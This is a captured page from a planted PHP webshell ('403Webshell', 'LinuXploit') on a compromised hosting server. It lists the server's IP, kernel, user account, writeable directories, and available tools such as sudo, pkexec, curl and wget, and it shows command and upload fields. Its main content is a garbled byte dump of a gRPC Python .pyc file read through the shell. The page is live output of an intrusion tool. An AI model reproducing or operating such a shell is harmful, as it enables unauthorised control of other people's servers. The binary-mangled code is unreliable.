403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/grpc/aio/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/grpc/aio/_base_channel.pyc
a

K��fF6�@s�dZddlZddlmZmZddlZddlmZddlm	Z	ddlm
Z
ddlmZdd	lmZdd
lm
Z
ddlmZGdd
�d
eee
fej�ZGdd�deee
fej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZdS)zDAbstract base classes for Channel objects and Multicallable objects.�N)�Generic�Optional�)�
_base_call)�DeserializingFunction)�MetadataType)�RequestIterableType)�RequestType)�ResponseType)�SerializingFunctionc@s`eZdZdZejdddddd�eeeee	ee
jeeee
j
ejeefd�dd��ZdS)�UnaryUnaryMultiCallablez4Enables asynchronous invocation of a unary-call RPC.N��timeout�metadata�credentials�wait_for_ready�compression��requestrrrrr�returncCsdS)arAsynchronously invokes the underlying RPC.

        Args:
          request: The request value for the RPC.
          timeout: An optional duration of time in seconds to allow
            for the RPC.
          metadata: Optional :term:`metadata` to be transmitted to the
            service-side of the RPC.
          credentials: An optional CallCredentials for the RPC. Only valid for
            secure Channel.
          wait_for_ready: An optional flag to enable :term:`wait_for_ready` mechanism.
          compression: An element of grpc.compression, e.g.
            grpc.compression.Gzip.

        Returns:
          A UnaryUnaryCall object.

        Raises:
          RpcError: Indicates that the RPC terminated with non-OK status. The
            raised RpcError will also be a Call for the RPC affording the RPC's
            metadata, status code, and details.
        N���selfrrrrrrrr�z/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/grpc/aio/_base_channel.py�__call__!sz UnaryUnaryMultiCallable.__call__)�__name__�
__module__�__qualname__�__doc__�abc�abstractmethodr	r�floatr�grpc�CallCredentials�bool�Compressionr�UnaryUnaryCallr
rrrrrrs ��rc@s`eZdZdZejdddddd�eeeee	ee
jeeee
j
ejeefd�dd��ZdS)�UnaryStreamMultiCallablez:Enables asynchronous invocation of a server-streaming RPC.Nr
rcCsdS)asAsynchronously invokes the underlying RPC.

        Args:
          request: The request value for the RPC.
          timeout: An optional duration of time in seconds to allow
            for the RPC.
          metadata: Optional :term:`metadata` to be transmitted to the
            service-side of the RPC.
          credentials: An optional CallCredentials for the RPC. Only valid for
            secure Channel.
          wait_for_ready: An optional flag to enable :term:`wait_for_ready` mechanism.
          compression: An element of grpc.compression, e.g.
            grpc.compression.Gzip.

        Returns:
          A UnaryStreamCall object.

        Raises:
          RpcError: Indicates that the RPC terminated with non-OK status. The
            raised RpcError will also be a Call for the RPC affording the RPC's
            metadata, status code, and details.
        NrrrrrrGsz!UnaryStreamMultiCallable.__call__)rrrrrr r	rr!rr"r#r$r%r�UnaryStreamCallr
rrrrrr'Ds ��r'c
@sPeZdZdZejdeeeeee	ee
jeeee
j
ejd�dd��ZdS)�StreamUnaryMultiCallablez:Enables asynchronous invocation of a client-streaming RPC.N��request_iteratorrrrrrrcCsdS)a�Asynchronously invokes the underlying RPC.

        Args:
          request_iterator: An optional async iterable or iterable of request
            messages for the RPC.
          timeout: An optional duration of time in seconds to allow
            for the RPC.
          metadata: Optional :term:`metadata` to be transmitted to the
            service-side of the RPC.
          credentials: An optional CallCredentials for the RPC. Only valid for
            secure Channel.
          wait_for_ready: An optional flag to enable :term:`wait_for_ready` mechanism.
          compression: An element of grpc.compression, e.g.
            grpc.compression.Gzip.

        Returns:
          A StreamUnaryCall object.

        Raises:
          RpcError: Indicates that the RPC terminated with non-OK status. The
            raised RpcError will also be a Call for the RPC affording the RPC's
            metadata, status code, and details.
        Nr�rr+rrrrrrrrrms
z!StreamUnaryMultiCallable.__call__)NNNNNN)rrrrrr rrr!rr"r#r$r%r�StreamUnaryCallrrrrrr)js"��r)c
@sPeZdZdZejdeeeeee	ee
jeeee
j
ejd�dd��ZdS)�StreamStreamMultiCallablezAEnables asynchronous invocation of a bidirectional-streaming RPC.Nr*cCsdS)a�Asynchronously invokes the underlying RPC.

        Args:
          request_iterator: An optional async iterable or iterable of request
            messages for the RPC.
          timeout: An optional duration of time in seconds to allow
            for the RPC.
          metadata: Optional :term:`metadata` to be transmitted to the
            service-side of the RPC.
          credentials: An optional CallCredentials for the RPC. Only valid for
            secure Channel.
          wait_for_ready: An optional flag to enable :term:`wait_for_ready` mechanism.
          compression: An element of grpc.compression, e.g.
            grpc.compression.Gzip.

        Returns:
          A StreamStreamCall object.

        Raises:
          RpcError: Indicates that the RPC terminated with non-OK status. The
            raised RpcError will also be a Call for the RPC affording the RPC's
            metadata, status code, and details.
        Nrr,rrrr�s
z"StreamStreamMultiCallable.__call__)NNNNNN)rrrrrr rrr!rr"r#r$r%r�StreamStreamCallrrrrrr.�s"��r.c@s4eZdZdZejdd��Zejdd��Zejdee	d�dd	��Z
ejdeej
d�dd
��Zejej
dd�dd��Zejdd�dd��Zejdeeeeeeeed�dd��Zejd eeeeeeeed�dd��Zejd!eeeeeeeed�dd��Zejd"eeeeeeeed�dd��ZdS)#�Channelz�Enables asynchronous RPC invocation as a client.

    Channel objects implement the Asynchronous Context Manager (aka. async
    with) type, although they are not supportted to be entered and exited
    multiple times.
    c�sdS)zwStarts an asynchronous context manager.

        Returns:
          Channel the channel that was instantiated.
        Nr�rrrr�
__aenter__�szChannel.__aenter__c�sdS)zxFinishes the asynchronous context manager by closing the channel.

        Still active RPCs will be cancelled.
        Nr)r�exc_type�exc_val�exc_tbrrr�	__aexit__�szChannel.__aexit__N)�gracec�sdS)a Closes this Channel and releases all resources held by it.

        This method immediately stops the channel from executing new RPCs in
        all cases.

        If a grace period is specified, this method waits until all active
        RPCs are finished or until the grace period is reached. RPCs that haven't
        been terminated within the grace period are aborted.
        If a grace period is not specified (by passing None for grace),
        all existing RPCs are cancelled immediately.

        This method is idempotent.
        Nr)rr7rrr�close�sz
Channel.closeF)�try_to_connectrcCsdS)a�Checks the connectivity state of a channel.

        This is an EXPERIMENTAL API.

        If the channel reaches a stable connectivity state, it is guaranteed
        that the return value of this function will eventually converge to that
        state.

        Args:
          try_to_connect: a bool indicate whether the Channel should try to
            connect to peer or not.

        Returns: A ChannelConnectivity object.
        Nr)rr9rrr�	get_state�szChannel.get_state)�last_observed_staterc�sdS)aWaits for a change in connectivity state.

        This is an EXPERIMENTAL API.

        The function blocks until there is a change in the channel connectivity
        state from the "last_observed_state". If the state is already
        different, this function will return immediately.

        There is an inherent race between the invocation of
        "Channel.wait_for_state_change" and "Channel.get_state". The state can
        change arbitrary many times during the race, so there is no way to
        observe every state transition.

        If there is a need to put a timeout for this function, please refer to
        "asyncio.wait_for".

        Args:
          last_observed_state: A grpc.ChannelConnectivity object representing
            the last known state.
        Nr)rr;rrr�wait_for_state_change�szChannel.wait_for_state_change)rc�sdS)z;Creates a coroutine that blocks until the Channel is READY.Nrr1rrr�
channel_ready
szChannel.channel_ready)�method�request_serializer�response_deserializer�_registered_methodrcCsdS)a�Creates a UnaryUnaryMultiCallable for a unary-unary method.

        Args:
          method: The name of the RPC method.
          request_serializer: Optional :term:`serializer` for serializing the request
            message. Request goes unserialized in case None is passed.
          response_deserializer: Optional :term:`deserializer` for deserializing the
            response message. Response goes undeserialized in case None
            is passed.
          _registered_method: Implementation Private. Optional: A bool representing
            whether the method is registered.

        Returns:
          A UnaryUnaryMultiCallable value for the named unary-unary method.
        Nr�rr>r?r@rArrr�unary_unaryszChannel.unary_unarycCsdS)a�Creates a UnaryStreamMultiCallable for a unary-stream method.

        Args:
          method: The name of the RPC method.
          request_serializer: Optional :term:`serializer` for serializing the request
            message. Request goes unserialized in case None is passed.
          response_deserializer: Optional :term:`deserializer` for deserializing the
            response message. Response goes undeserialized in case None
            is passed.
          _registered_method: Implementation Private. Optional: A bool representing
            whether the method is registered.

        Returns:
          A UnarySteramMultiCallable value for the named unary-stream method.
        NrrBrrr�unary_stream&szChannel.unary_streamcCsdS)a�Creates a StreamUnaryMultiCallable for a stream-unary method.

        Args:
          method: The name of the RPC method.
          request_serializer: Optional :term:`serializer` for serializing the request
            message. Request goes unserialized in case None is passed.
          response_deserializer: Optional :term:`deserializer` for deserializing the
            response message. Response goes undeserialized in case None
            is passed.
          _registered_method: Implementation Private. Optional: A bool representing
            whether the method is registered.

        Returns:
          A StreamUnaryMultiCallable value for the named stream-unary method.
        NrrBrrr�stream_unary>szChannel.stream_unarycCsdS)a�Creates a StreamStreamMultiCallable for a stream-stream method.

        Args:
          method: The name of the RPC method.
          request_serializer: Optional :term:`serializer` for serializing the request
            message. Request goes unserialized in case None is passed.
          response_deserializer: Optional :term:`deserializer` for deserializing the
            response message. Response goes undeserialized in case None
            is passed.
          _registered_method: Implementation Private. Optional: A bool representing
            whether the method is registered.

        Returns:
          A StreamStreamMultiCallable value for the named stream-stream method.
        NrrBrrr�
stream_streamVszChannel.stream_stream)N)F)NNF)NNF)NNF)NNF)rrrrrr r2r6rr!r8r$r"�ChannelConnectivityr:r<r=�strrrrrCr'rDr)rEr.rFrrrrr0�s~

�����������r0)rr�typingrrr"�r�_typingrrrr	r
r�ABCrr'r)r.r0rrrr�<module>s&&&&

Youez - 2016 - github.com/yon3zu
LinuXploit